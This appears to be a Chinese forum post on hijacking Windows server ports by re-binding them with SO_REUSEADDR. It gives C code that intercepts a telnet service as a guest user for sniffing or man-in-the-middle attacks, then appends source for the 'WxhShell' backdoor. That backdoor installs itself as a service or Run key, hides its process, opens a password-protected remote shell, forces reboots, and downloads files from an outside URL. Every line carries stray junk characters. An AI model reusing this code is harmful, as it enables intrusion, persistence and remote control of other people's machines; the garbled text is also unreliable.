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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g-4gI\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x(exx )w  
0V{>)w!Fo  
  saddr.sin_family = AF_INET; TG""eC!E  
>\N$>"~a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wY."Lw> 6  
[~zE,!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ju @%A@s  
H@VBP Q}Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :7zI3Ml@7  
1c1e+H  
  这意味着什么?意味着可以进行如下的攻击: EU`' 8*4  
V3aY]#Su  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B3ohHxHu  
*fOS"-C L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "j *fVn  
_N[^Hl`\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G7Edi;y/{  
Z&2 &wD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t[L2'J.5  
UMnR=~.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3<V.6'*k  
]9!Gg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G <}7vF  
XRX7qo(0g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 krnvFZRTQ  
N^nDWK  
  #include EBN]>zz  
  #include C.B8 J"T-  
  #include #d7)$ub  
  #include    zIX}[l4EW~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8' WLm  
  int main()  |V*e2w  
  { )wyu+_:  
  WORD wVersionRequested; 6|>"0[4S  
  DWORD ret; si+5h6I.}  
  WSADATA wsaData; {|t?   
  BOOL val; /9t*CEu\  
  SOCKADDR_IN saddr; D*<8e?F  
  SOCKADDR_IN scaddr; dja9XWOg  
  int err; X"]mR7k  
  SOCKET s; '6Rs0__  
  SOCKET sc; URj% J/jD  
  int caddsize; hfP(N_""S  
  HANDLE mt; _&8KB1~  
  DWORD tid;    )^QG-IM  
  wVersionRequested = MAKEWORD( 2, 2 ); z^SN#v$  
  err = WSAStartup( wVersionRequested, &wsaData ); Au\ =ypK  
  if ( err != 0 ) { K~9 jin  
  printf("error!WSAStartup failed!\n"); am)J'i,  
  return -1; r(`8A:#d  
  } jHUz`.8B  
  saddr.sin_family = AF_INET; 3l41r[\  
   c qU$gKT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1bFEx_  
GtGyY0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k_.j%  
  saddr.sin_port = htons(23); ]c~rPi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n^I|}u\  
  { ^O,6(@>  
  printf("error!socket failed!\n"); E(L^hZMc  
  return -1; 42H#n]Y  
  } g*\v}6 h  
  val = TRUE; oG U.U9~!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o 2$<>1^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d<^6hF  
  { 8?]%Q i   
  printf("error!setsockopt failed!\n"); UVvt&=+4  
  return -1; _s=Pk[e  
  } ZS 7)(j$.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ))we\I__8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5,I*F9[3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u]+ +&~i  
$;g%S0:3)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q0xE&[C[M  
  {  _j?=&tc  
  ret=GetLastError(); tL 9e~>,`  
  printf("error!bind failed!\n"); 55)ep  
  return -1; p-ii($~ }  
  } v6, o/3Ex  
  listen(s,2); 2oNPR+ -  
  while(1)  &~f*q?xR  
  { gP"Mu#/D  
  caddsize = sizeof(scaddr); ABS BtH ?  
  //接受连接请求 Mz#S5 s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e^ K=8IW  
  if(sc!=INVALID_SOCKET) Yc( )'6  
  { 2* cKFv{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FnU{C=P  
  if(mt==NULL) I "+|cFq.  
  { 19.!$;  
  printf("Thread Creat Failed!\n"); ,L;c{[*rh  
  break; N'W >pU  
  } j4hUPL7  
  } ,_7tRkn  
  CloseHandle(mt); }F9?*2\/  
  } 5la]l  
  closesocket(s); rea}Uq+po  
  WSACleanup(); qy0_1xT-  
  return 0; -2m Ogv  
  }   '$&(+>)z `  
  DWORD WINAPI ClientThread(LPVOID lpParam) h;h,dx  
  { iH -x  
  SOCKET ss = (SOCKET)lpParam; %nK 15(  
  SOCKET sc; S7~l%G>]b  
  unsigned char buf[4096]; 0yEyt7 ~@  
  SOCKADDR_IN saddr; )SZ,J-H08w  
  long num; 5=;I|l,  
  DWORD val; & ;x1Rx  
  DWORD ret; !D]6Cq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;Z<*.f'^fc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {b8Y-  
  saddr.sin_family = AF_INET; QRc=-Wu_(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;|e 0{Jrz  
  saddr.sin_port = htons(23); I<o4l[--  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N4JL.(m){I  
  { (VF4]  
  printf("error!socket failed!\n"); jjlCi<9CQ^  
  return -1; ;`Ch2b1+  
  } 7m)ykq:?  
  val = 100; 7=[O6<+o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J!gWRw5  
  { %)@(T ye -  
  ret = GetLastError(); 7]+'%Uwu)  
  return -1; t~=@r9`S  
  } k*+ZLrT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oXOO 10  
  { Rhxm)5+  
  ret = GetLastError(); loVvr"&g  
  return -1; 6je%LHhL  
  } BN> $LL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AG!a=ufc0  
  { @9Pn(fd]  
  printf("error!socket connect failed!\n"); aLo>Yi  
  closesocket(sc); 61;5Yo  
  closesocket(ss); Wn</",Gf  
  return -1; 1OGv+b)  
  } WX$^[^=HC  
  while(1) 79fyn!Iz<  
  { CX2q7azG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :JG}%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *j;r|P;g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9>Z#o<*_/  
  num = recv(ss,buf,4096,0); ])";Z  
  if(num>0) nylIP */  
  send(sc,buf,num,0); /hy!8c7  
  else if(num==0) Xg)FIaw]eT  
  break; w9h5f  
  num = recv(sc,buf,4096,0); w)c#ZJHG  
  if(num>0) K>~cY%3^i  
  send(ss,buf,num,0); ,#FH8%Yf  
  else if(num==0) tQ<2K*3]  
  break; Ji?UG@  
  } 4o8HEq!  
  closesocket(ss); M L_J<|,J  
  closesocket(sc); ;SP3nU))  
  return 0 ; ZQ8Aak  
  } tm#y `1-  
 JS.' v7  
0-O.*Q^  
========================================================== 2xxwQwg8  
\O4=mJ  
下边附上一个代码,,WXhSHELL s,q!(\{Pv  
{oC69n:  
========================================================== P+l^Ep8P  
+:8YMM#9V  
#include "stdafx.h" 3W WxpTU  
1j-i nj`  
#include <stdio.h> h$h`XBVZe;  
#include <string.h> /]>{"sS(  
#include <windows.h> I>zn$d*0  
#include <winsock2.h> h^X.e[  
#include <winsvc.h> U} h |Zk  
#include <urlmon.h> q.tL'  
#>oO[uaY  
#pragma comment (lib, "Ws2_32.lib") Hs!CJ(0"y  
#pragma comment (lib, "urlmon.lib") C#cEMKa  
<GR:5pJ%  
#define MAX_USER   100 // 最大客户端连接数 r+yLK(<zp  
#define BUF_SOCK   200 // sock buffer .Cd$=v6  
#define KEY_BUFF   255 // 输入 buffer HC}C_Q5c91  
b%$C!Tq'  
#define REBOOT     0   // 重启 |"*:ZSj  
#define SHUTDOWN   1   // 关机 No+zw%l0E  
JFkjpBS  
#define DEF_PORT   5000 // 监听端口 aDEP_b;  
 'Z}$V*  
#define REG_LEN     16   // 注册表键长度 HAdm,  
#define SVC_LEN     80   // NT服务名长度 =ZL2 0<TeH  
XV!EjD~q  
// 从dll定义API "61n?Z#,M[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sZ$ ~abX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /! 3:K<6@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L4-Pq\2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7dW&|U  
,~w)@.  
// wxhshell配置信息 T!E LH!  
struct WSCFG { S-dV  
  int ws_port;         // 监听端口 rrq-so1u}  
  char ws_passstr[REG_LEN]; // 口令 )Jn80~U|1  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q)8t;Kx  
  char ws_regname[REG_LEN]; // 注册表键名 7 4UE-H)  
  char ws_svcname[REG_LEN]; // 服务名 wAPdu y[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +?'acn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v#G ^W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $cCB%}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a#$%xw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'IszS!kY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KfS^sT  
} 4^UVdz  
}; EpMEA1=&  
~;` #{$/C&  
// default Wxhshell configuration 6.=b^6MV  
struct WSCFG wscfg={DEF_PORT, 1j(,VW  
    "xuhuanlingzhe", exvsf|  
    1, zt6ep=  
    "Wxhshell", K.Ir+SB  
    "Wxhshell", 548BM^^"r  
            "WxhShell Service", _FgeE`X  
    "Wrsky Windows CmdShell Service", djM=QafB:C  
    "Please Input Your Password: ", "yk%/:G+  
  1, |+''d  
  "http://www.wrsky.com/wxhshell.exe", fba3aId[  
  "Wxhshell.exe" *4E,| IJ  
    }; vA`.8U 0S  
"f+2_8%s+  
// 消息定义模块 \x}UjHYIc&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :4d7%q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6;DPGx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &n wg$z{Y  
char *msg_ws_ext="\n\rExit."; m+ YgfR  
char *msg_ws_end="\n\rQuit."; 3dLz=.=)'  
char *msg_ws_boot="\n\rReboot..."; v8[1E>&vx  
char *msg_ws_poff="\n\rShutdown..."; Qa+gtGtJ  
char *msg_ws_down="\n\rSave to "; p IToy;]  
bHM .&4G  
char *msg_ws_err="\n\rErr!"; yuB BO:\.  
char *msg_ws_ok="\n\rOK!"; C~*m&,@TT^  
B*7o\~5  
char ExeFile[MAX_PATH]; h'+ swPh  
int nUser = 0; }rZp(FG@*  
HANDLE handles[MAX_USER]; 8!fw Xm  
int OsIsNt; ,5 ,4Qf7  
0XNb@ogo  
SERVICE_STATUS       serviceStatus; &2J|v#$F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v;7u"9t  
<}%*4mv  
// 函数声明 DSp@  
int Install(void); > %,tyJ~  
int Uninstall(void); u1l#k60  
int DownloadFile(char *sURL, SOCKET wsh); 3-5lO#&#  
int Boot(int flag); Heu@{t.[!D  
void HideProc(void); xh$[E&2u  
int GetOsVer(void); ~c"c9s+o  
int Wxhshell(SOCKET wsl); y-mmc}B>N  
void TalkWithClient(void *cs); ej `$-hBBV  
int CmdShell(SOCKET sock); t~Ax#H  
int StartFromService(void); &XP 0  
int StartWxhshell(LPSTR lpCmdLine); kCV OeXv  
DQd&:J@?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5l#)tX.by  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ewY X\  
|rQ;|+.  
// 数据结构和表定义 "fdG5|NJe  
SERVICE_TABLE_ENTRY DispatchTable[] = nYHk~<a  
{ J4 <*KL~a  
{wscfg.ws_svcname, NTServiceMain}, t!tBN  
{NULL, NULL} #XZ?,neY  
}; `4MPXfoBL  
K""04Ew*pV  
// 自我安装 R0WJdW#  
int Install(void)  "d'@IN  
{ eJ'ojc3  
  char svExeFile[MAX_PATH]; jiat5  
  HKEY key; p5\b&~ g  
  strcpy(svExeFile,ExeFile); tx.sUu6  
Ue7~rPdlR  
// 如果是win9x系统,修改注册表设为自启动 -c tZ9+LL  
if(!OsIsNt) { }PVB+i M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _]g6 3q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |8"HTBb\CW  
  RegCloseKey(key); -9mh|&z`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G+ToZ&f@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e=U7w7(s9  
  RegCloseKey(key); Yi:+,-Fso  
  return 0; B^ h!F8DC  
    } P06K0Fxf  
  } yI!K quMC  
} " 1 Bn/Q  
else { Q_Rr5/  
> 01k u  
// 如果是NT以上系统,安装为系统服务 I/adzLQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J GdVSjNC  
if (schSCManager!=0) uAP|ASH9T  
{ Lqt]  
  SC_HANDLE schService = CreateService R!O'DM+  
  ( M1:m"#=  
  schSCManager, a)]N#gx  
  wscfg.ws_svcname, XX =A1#H  
  wscfg.ws_svcdisp, :\ S3[(FV  
  SERVICE_ALL_ACCESS, iH2|w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {pqm&PB04  
  SERVICE_AUTO_START, u}$?r\H'(  
  SERVICE_ERROR_NORMAL, C..O_Zn{g  
  svExeFile, iMS S8J  
  NULL, #8A|-u=3  
  NULL, 6gv.n  
  NULL, +ad 2  
  NULL, 2 IGAZ%%  
  NULL plca`  
  ); 4H'9y3dk  
  if (schService!=0) xk,E A U  
  { MxYCMe4S[  
  CloseServiceHandle(schService); qz 'a.]{=  
  CloseServiceHandle(schSCManager); JSM{|HJxh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^vzNs>eJ  
  strcat(svExeFile,wscfg.ws_svcname); W!{uEH{%l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `'~|DG}a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /)|*Vzu  
  RegCloseKey(key); GB0] |z5  
  return 0; &{$\]sv  
    } 'vXrA  
  } 7w9) ^  
  CloseServiceHandle(schSCManager); b3Do{1BV  
} *@yYqI<1a  
} Kh27[@s  
PpbW+}aCF  
return 1; SkY|.w.   
} %FwLFo^v  
PffRV7qU0  
// 自我卸载  @>BFhH  
int Uninstall(void) ^T^fowt=r  
{ E| No$QO)  
  HKEY key; I)6)~[:'  
%f@]-  
if(!OsIsNt) { C@K@TfK!M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,+2ytN*  
  RegDeleteValue(key,wscfg.ws_regname); !=ZbBUJF  
  RegCloseKey(key); WHU& 9N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .; :[sv)  
  RegDeleteValue(key,wscfg.ws_regname); )%*uMuF  
  RegCloseKey(key); djk   
  return 0; sYvO"|  
  } mFT[[Z#  
} IuPwFf)  
} ztf(.~  
else { *p VKMmU  
I` /'\cU9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~(}zp<e|  
if (schSCManager!=0) +_+}^Nf]Y3  
{ R!:1{1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k+&|*!j  
  if (schService!=0) %hY+%^k.  
  { }lhJt|qc  
  if(DeleteService(schService)!=0) { /q8n_NR  
  CloseServiceHandle(schService); \OOj]gAe  
  CloseServiceHandle(schSCManager); vQA: \!  
  return 0; <#:"vnm$j  
  } Y1+f(Q  
  CloseServiceHandle(schService); WO]dWO6Mm  
  } m~# O ~)  
  CloseServiceHandle(schSCManager); zp d4uto5  
} A\WgtM  
} gCd9"n-e  
"}EydG"=  
return 1; *8Gx_$t&  
} d"$ \fL  
TzVNZDQ`Jl  
// 从指定url下载文件 ^G15]Pyw  
int DownloadFile(char *sURL, SOCKET wsh) * ,,D%L  
{ 2&dtOyxo>  
  HRESULT hr; )PZ'{S  
char seps[]= "/"; /+%1Kq.hP  
char *token; Kg9REL@,s  
char *file; k0%4&pU  
char myURL[MAX_PATH]; ky,+xq  
char myFILE[MAX_PATH]; }nu hLt1  
\07 s'W U  
strcpy(myURL,sURL); 8eL[ ,uw  
  token=strtok(myURL,seps); V"gnG](2l  
  while(token!=NULL) >pr{)bp G  
  { xEGI'lt  
    file=token; w<5w?nP+Oh  
  token=strtok(NULL,seps); 7|\[ipVX:3  
  } `XQM)A  
74QWGw`,  
GetCurrentDirectory(MAX_PATH,myFILE); ]ZZ7j  
strcat(myFILE, "\\"); JTrxh]  
strcat(myFILE, file); 6X)8vQH  
  send(wsh,myFILE,strlen(myFILE),0); C)Mh  
send(wsh,"...",3,0); g {wDI7"<q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JeuW/:Wv  
  if(hr==S_OK) &`{%0r[UD#  
return 0; 87y$=eZ  
else Jo_h?{"L{  
return 1; aHS.U^2  
sy4$!,W:  
} u[y>DPPx  
#BF(#1:  
// 系统电源模块 +Nyx2(g<m  
int Boot(int flag) PoQ@9 A  
{ u.R:/H<>~  
  HANDLE hToken; OE W IP  
  TOKEN_PRIVILEGES tkp; (V}D PA  
s+9q :  
  if(OsIsNt) { $}N'm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XswEAz0=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (q*Za  
    tkp.PrivilegeCount = 1; zAS&L%^tV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gb\}e}TB[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p<tj6O  
if(flag==REBOOT) { -fn["R]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sLPFeibof5  
  return 0; {^5r5GB=*  
} CZt)Q4  
else { | \C{R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qK#\k@E  
  return 0; R2-OT5Ej  
} =2# C{u.  
  } U5%EQc-"P  
  else { P8piXG  
if(flag==REBOOT) { PKty'}KF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3@_je)s  
  return 0;  Jcy  
} Jx(%t<2  
else { Q];+?Pu.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UeX3cD  
  return 0; kL{2az3"c  
} D\bW' k]!  
} i` n,{{x&4  
rV54-K;`0  
return 1; pu=Q;E_f[  
} N_UZu  
#Q"el3P+q  
// win9x进程隐藏模块 bw ' yX  
void HideProc(void) xLPyV&j-  
{ 4L(axjMYU  
O\-cLI<h2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 48Z{wV,  
  if ( hKernel != NULL ) kb Odg:  
  { LEKN%2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W EZ(4ah  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s'J8E+&5  
    FreeLibrary(hKernel); SzMh}xDh2  
  } H@.j@l  
!Yz~HO,u+  
return; ym{?vY h  
} .YKQ6  
m&EwX ^1-  
// 获取操作系统版本 @_YlHe&W  
int GetOsVer(void) -H#{[M8xX  
{ D/"[/!  
  OSVERSIONINFO winfo; l!EfvqWX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,0[bzk  
  GetVersionEx(&winfo); S9t_2%e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1BmevE a)  
  return 1; cL7je  
  else p9y "0A|  
  return 0; {|O8)bW'  
} YO|Kc {j2e  
pdngM 8n  
// 客户端句柄模块 rc<^6HqD  
int Wxhshell(SOCKET wsl) r\.1=c#"bP  
{ u yzc"d i  
  SOCKET wsh; 7AX<>^  
  struct sockaddr_in client; ;lB%N t<,  
  DWORD myID; t:9}~%~  
g~S>_~WL  
  while(nUser<MAX_USER) eo24I0 `N  
{ k*\WzBTd  
  int nSize=sizeof(client); !=_:*U)-'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x}?y@.sn8  
  if(wsh==INVALID_SOCKET) return 1; cO.U*UTmX  
y4tM0h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G!C2[:[g  
if(handles[nUser]==0) :MV]OLRM  
  closesocket(wsh); W7c(] tg.  
else hCD0Zel  
  nUser++; hHm &u^xY  
  } +^iUY%pm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); By]XD~gcP  
kOmTji7  
  return 0; [-x~Q[  
} Nq/,41  
FVPhk2  
// 关闭 socket H 0aDWFWS  
void CloseIt(SOCKET wsh) ~*GJO74  
{ J}Bg<[n  
closesocket(wsh); ka0T|$ u(s  
nUser--; 3J7TWOJVw  
ExitThread(0); :_~UO^*h  
} :Ag]^ot  
u-=S_e  
// 客户端请求句柄 >k,bHGj?  
void TalkWithClient(void *cs) #I'W[\l~+  
{ `(vgBz`e[  
x }[/A;N  
  SOCKET wsh=(SOCKET)cs; |"8Az0[!  
  char pwd[SVC_LEN]; $W<H[k&(B  
  char cmd[KEY_BUFF]; -v'7;L0K  
char chr[1]; rRRiqmq  
int i,j; hPE#l?H@A  
AU)"L_ i}  
  while (nUser < MAX_USER) { R] tHd=kf  
5)+(McJC  
if(wscfg.ws_passstr) { AyB-+oTf(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /pan{.< k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d kHcG&)  
  //ZeroMemory(pwd,KEY_BUFF); 0?qXDO&~  
      i=0; gbL99MZ@~  
  while(i<SVC_LEN) { #o SQWC=T  
zm-j FY?  
  // 设置超时 *6s B$E_y  
  fd_set FdRead; " ;_bB"q*  
  struct timeval TimeOut; !@{_Qt1  
  FD_ZERO(&FdRead); ^>gRK*,  
  FD_SET(wsh,&FdRead); s3HwBA  
  TimeOut.tv_sec=8; *91iFeKj=  
  TimeOut.tv_usec=0; >"q0"zrN,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^hv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); odMjxWY  
j#S>8: G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,UopGlA ,  
  pwd=chr[0]; 4(o: #9I  
  if(chr[0]==0xd || chr[0]==0xa) { ,>A9OTSN\  
  pwd=0; TviC1 {2  
  break; @C62%fU{5  
  } ywXerz7dUk  
  i++; f50qA;7k  
    } O&.^67\|  
oUIa/}}w5  
  // 如果是非法用户,关闭 socket <mjH#aSy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gQ3Co./  
} )tl=tH/$  
*/sVuD^b`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z#BwJHh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=?v$! i  
0 60<wjX6  
while(1) { }0 0mJ]H(  
7Te`#"  
  ZeroMemory(cmd,KEY_BUFF); C(Ujx=G+3  
"(PJh\S>S  
      // 自动支持客户端 telnet标准   3Q*K+(`{  
  j=0; [wG?&l$.KB  
  while(j<KEY_BUFF) { tQ_;UQlX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g6o-/A!Q3  
  cmd[j]=chr[0]; }`&#{>]2  
  if(chr[0]==0xa || chr[0]==0xd) { UeV2`zIg`  
  cmd[j]=0; D-\\L[  
  break; w~y+Pv@   
  } rVowHP  
  j++; 4j|]=58  
    } eUPG){"  
'31pb9@fH  
  // 下载文件 jv>l6)  
  if(strstr(cmd,"http://")) { "5C)gxI^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `~vqu69MF9  
  if(DownloadFile(cmd,wsh)) e;~[PYeu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b)J(0,9`G"  
  else kD dY i7g>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,=U^W.G  
  } hV#+joT8i  
  else { <Z{\3X^  
}WS%nQA  
    switch(cmd[0]) { )` -b\8uw  
  ^Crl~~Gk`  
  // 帮助 ,uqSq  
  case '?': { AX}l~ sv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zk=5uKcPE  
    break; 9#{?*c6  
  } p/>}{Q )Y  
  // 安装 zD}dvI}  
  case 'i': { Y,I0o{,g  
    if(Install()) dy N`9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \2 &)b  
    else {c`kC]9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }C!N$8d,  
    break; J @C8;]  
    } |VbF&*v`  
  // 卸载 rD<G_%hP  
  case 'r': { N(q%|h<Z/=  
    if(Uninstall()) 9:"%j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ar7vEa81  
    else L^3~gZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,u7: l  
    break; !q=ej^(S  
    } O&!>C7  
  // 显示 wxhshell 所在路径 S~0 mY} m  
  case 'p': { EL$l . v  
    char svExeFile[MAX_PATH]; :"7V,UP @  
    strcpy(svExeFile,"\n\r"); 9i GUE  
      strcat(svExeFile,ExeFile); .9{Sr[P  
        send(wsh,svExeFile,strlen(svExeFile),0); [U@#whEO  
    break; unKTa*U^q  
    } |_/q0#"  
  // 重启 y3 @R>@$  
  case 'b': { M@EML @~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \&ra&3o  
    if(Boot(REBOOT)) hE0 p> R8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fiqeXE?E  
    else { S {gB~W  
    closesocket(wsh); ax0RtqtR&  
    ExitThread(0); :pj#t$:!  
    } \E1[ /  
    break; 7y.$'<  
    } <3zA|  
  // 关机 +F$c_ \>  
  case 'd': { n,}\;Bp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fl<|/DCg  
